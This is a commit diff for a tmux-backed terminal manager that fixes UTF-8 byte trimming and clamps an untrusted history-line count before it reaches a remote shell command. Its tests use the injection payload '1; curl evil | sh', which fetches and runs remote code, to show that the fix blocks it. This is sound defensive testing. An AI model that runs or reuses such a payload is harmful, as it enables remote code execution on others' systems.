Skip to content

Node-based terminal manager for AI coding agents — tmux-backed terminals and parallel agent sessions as draggable nodes on an infinite pan/zoom canvas. macOS, Linux, and a browser Server Edition.

fix(pty): trimToBytes never splits a character; clamp untrusted captureHistory lines

enescde78c60e3f4
diff --git a/src/core/pty-manager.ts b/src/core/pty-manager.ts
index 2ec3ed823..f511f7eb5 100644
--- a/src/core/pty-manager.ts
+++ b/src/core/pty-manager.ts
@@ -72,13 +72,23 @@ set -g set-clipboard on
export function trimToBytes(text: string, maxBytes: number): string {
const buf = Buffer.from(text, 'utf-8')
if (buf.byteLength <= maxBytes) return text
- const tail = buf.subarray(buf.byteLength - maxBytes).toString('utf-8')
- // toString on a mid-character boundary yields a leading replacement char; drop the partial
- // first line either way — it is the oldest content and the least missed.
+ // Walk the start index forward past any UTF-8 continuation bytes (0x80–0xBF) so the window
+ // begins on a character boundary. Decoding mid-character would otherwise yield U+FFFD
+ // replacement chars, which are 3 bytes each and can push the result BACK over maxBytes.
+ let start = buf.byteLength - maxBytes
+ while (start < buf.byteLength && (buf[start] & 0xc0) === 0x80) start++
+ const tail = buf.subarray(start).toString('utf-8')
+ // Drop the partial first line — it is the oldest content and the least missed.
const nl = tail.indexOf('\n')
return nl === -1 ? tail : tail.slice(nl + 1)
}
+/** Clamp an untrusted `lines` request (it crosses IPC / WS-RPC from a renderer, and ends up
+ * interpolated into a remote `tmux capture-pane -S -<n>` shell command) to a sane integer. */
+export function clampHistoryLines(lines: number): number {
+ return Math.min(HISTORY_LINES, Math.max(1, Math.floor(Number(lines) || HISTORY_LINES)))
+}
+
/** Resolve an absolute tmux path (GUI apps don't inherit the shell PATH). */
function findTmux(): string | null {
for (const c of ['/opt/homebrew/bin/tmux', '/usr/local/bin/tmux', '/usr/bin/tmux', '/bin/tmux']) {
@@ -877,6 +887,9 @@ export class PtyManager {
* Best-effort: returns '' when tmux/ssh is unavailable.
*/
async captureHistory(persistKey: string, lines = HISTORY_LINES): Promise<string> {
+ // `lines` is untrusted (it arrives from the renderer — a browser client in Server Edition)
+ // and is interpolated into a REMOTE shell command below. Clamp at the entry point.
+ const n = clampHistoryLines(lines)
const sshRemote = this.sessionByPersistKey(persistKey)?.sshRemote
if (sshRemote) {
const ssh = findSsh()
@@ -884,7 +897,7 @@ export class PtyManager {
try {
const { stdout } = await runAsync(
ssh,
- remoteCaptureHistoryArgs(sshRemote.conn, sshRemote.controlPath, sessionName(persistKey), lines),
+ remoteCaptureHistoryArgs(sshRemote.conn, sshRemote.controlPath, sessionName(persistKey), n),
{ encoding: 'utf-8', maxBuffer: 50 * 1024 * 1024 }
)
return trimToBytes(stdout, HISTORY_MAX_BYTES)
@@ -896,7 +909,7 @@ export class PtyManager {
try {
const { stdout } = await runAsync(
this.tmuxPath,
- ['-L', TMUX_SOCKET, 'capture-pane', '-p', '-e', '-t', sessionName(persistKey), '-S', `-${lines}`, '-E', '-1'],
+ ['-L', TMUX_SOCKET, 'capture-pane', '-p', '-e', '-t', sessionName(persistKey), '-S', `-${n}`, '-E', '-1'],
{ encoding: 'utf-8', maxBuffer: 50 * 1024 * 1024 }
)
return trimToBytes(stdout, HISTORY_MAX_BYTES)
diff --git a/src/core/remote-ssh/control-master.test.ts b/src/core/remote-ssh/control-master.test.ts
index 54167dee5..03851bb6b 100644
--- a/src/core/remote-ssh/control-master.test.ts
+++ b/src/core/remote-ssh/control-master.test.ts
@@ -17,6 +17,7 @@ import {
remoteEndpointFileContents,
scpArgs
} from './control-master'
+import { clampHistoryLines } from '../pty-manager'
const conn = { host: 'h.example.com', user: 'deploy', port: 2222, identityFile: '/k/id' }
@@ -191,4 +192,10 @@ describe('remoteCaptureHistoryArgs', () => {
const cmd = args[args.length - 1]
expect(cmd).toContain('capture-pane -p -e -t nt-x -S -5000 -E -1')
})
+ it('a hostile `lines` value clamped by the caller cannot inject shell (defence in depth)', () => {
+ const n = clampHistoryLines('1; curl evil | sh' as unknown as number)
+ const cmd = remoteCaptureHistoryArgs(conn, '/tmp/cm', 'nt-x', n).slice(-1)[0]
+ expect(cmd).not.toContain('curl')
+ expect(cmd).toContain('capture-pane -p -e -t nt-x -S -5000 -E -1')
+ })
})
diff --git a/src/core/remote-ssh/control-master.ts b/src/core/remote-ssh/control-master.ts
index 8bd379dac..fa74cc50a 100644
--- a/src/core/remote-ssh/control-master.ts
+++ b/src/core/remote-ssh/control-master.ts
@@ -77,7 +77,9 @@ export function remoteCapturePaneArgs(conn: SshConnection, controlPath: string,
)
}
/** Capture ONLY the history above the visible screen (`-E -1`). tmux redraws the visible screen
- * itself on attach, so including it here would print it twice. */
+ * itself on attach, so including it here would print it twice.
+ * `lines` is interpolated into a remote shell command: callers MUST pass an already-clamped
+ * integer (see `clampHistoryLines` in pty-manager, applied at `captureHistory`'s entry point). */
export function remoteCaptureHistoryArgs(
conn: SshConnection,
controlPath: string,
diff --git a/src/core/tmux-conf.test.ts b/src/core/tmux-conf.test.ts
index 477d40b68..937643ffd 100644
--- a/src/core/tmux-conf.test.ts
+++ b/src/core/tmux-conf.test.ts
@@ -1,5 +1,17 @@
-import { describe, it, expect } from 'vitest'
-import { tmuxConf, trimToBytes } from './pty-manager'
+import { describe, it, expect, vi, beforeEach } from 'vitest'
+
+// captureHistory shells out through promisify(execFile) — capture the argv it builds so we can
+// prove a hostile `lines` value never reaches the command string.
+const execFileCalls: Array<{ file: string; args: string[] }> = []
+vi.mock('child_process', () => ({
+ execFile: (file: string, args: string[], _opts: unknown, cb: (e: unknown, r: unknown) => void) => {
+ execFileCalls.push({ file, args })
+ cb(null, { stdout: '', stderr: '' })
+ },
+ execFileSync: () => ''
+}))
+
+import { tmuxConf, trimToBytes, clampHistoryLines, PtyManager } from './pty-manager'
describe('tmuxConf', () => {
const c = tmuxConf(50000)
@@ -30,8 +42,73 @@ describe('trimToBytes', () => {
expect(out).not.toContain('aaaa')
expect(Buffer.byteLength(out, 'utf-8')).toBeLessThanOrEqual(10)
})
- it('never splits a multi-byte character', () => {
- const out = trimToBytes('ü'.repeat(50), 10)
- expect(out).toBe(Buffer.from(out, 'utf-8').toString('utf-8'))
+ it('never splits a 2-byte character (cap lands mid-character)', () => {
+ // 'ü' is 2 bytes; a cap of 9 slices the 100-byte buffer mid-character.
+ const out = trimToBytes('ü'.repeat(50), 9)
+ expect(out).not.toContain('�')
+ expect(Buffer.byteLength(out, 'utf-8')).toBeLessThanOrEqual(9)
+ })
+ it('never splits a 4-byte character (cap lands mid-character)', () => {
+ const out = trimToBytes('😀'.repeat(20), 11)
+ expect(out).not.toContain('�')
+ expect(Buffer.byteLength(out, 'utf-8')).toBeLessThanOrEqual(11)
+ })
+ it('honours the cap and stays clean on the no-newline path with multi-byte text', () => {
+ for (const cap of [1, 2, 3, 5, 7, 9, 11, 13]) {
+ const out = trimToBytes('aü😀b'.repeat(30), cap)
+ expect(out, `cap=${cap}`).not.toContain('�')
+ expect(Buffer.byteLength(out, 'utf-8'), `cap=${cap}`).toBeLessThanOrEqual(cap)
+ }
+ })
+ it('keeps the newest content when there is no newline at all', () => {
+ const out = trimToBytes('abcdefghij', 4)
+ expect(out).toBe('ghij')
+ })
+})
+
+describe('clampHistoryLines', () => {
+ it('keeps a sane request', () => {
+ expect(clampHistoryLines(200)).toBe(200)
+ })
+ it('caps at the history ceiling and floors at 1', () => {
+ expect(clampHistoryLines(10_000_000)).toBe(5000)
+ expect(clampHistoryLines(-5)).toBe(1)
+ expect(clampHistoryLines(0)).toBe(5000) // falsy → default
+ })
+ it('rejects non-numeric / hostile input', () => {
+ expect(clampHistoryLines('1; curl evil | sh' as unknown as number)).toBe(5000)
+ expect(clampHistoryLines(NaN)).toBe(5000)
+ expect(clampHistoryLines(undefined as unknown as number)).toBe(5000)
+ expect(clampHistoryLines(12.9)).toBe(12)
+ })
+})
+
+describe('PtyManager.captureHistory (untrusted `lines`)', () => {
+ beforeEach(() => {
+ execFileCalls.length = 0
+ })
+ const withTmux = (): PtyManager => {
+ const pm = new PtyManager()
+ ;(pm as unknown as { tmuxPath: string }).tmuxPath = '/usr/bin/tmux'
+ return pm
+ }
+
+ it('never lets a shell-injection payload reach the tmux argv', async () => {
+ await withTmux().captureHistory('n1', '1; curl evil | sh' as unknown as number)
+ const argv = execFileCalls[0].args.join(' ')
+ expect(argv).not.toContain('curl')
+ expect(argv).not.toContain(';')
+ expect(argv).toContain('-S')
+ expect(execFileCalls[0].args).toContain('-5000')
+ })
+
+ it('clamps negative / NaN / oversized values to a sane integer', async () => {
+ const pm = withTmux()
+ await pm.captureHistory('n1', -1)
+ expect(execFileCalls[0].args).toContain('-1')
+ await pm.captureHistory('n1', NaN)
+ expect(execFileCalls[1].args).toContain('-5000')
+ await pm.captureHistory('n1', 10_000_000)
+ expect(execFileCalls[2].args).toContain('-5000')
})
})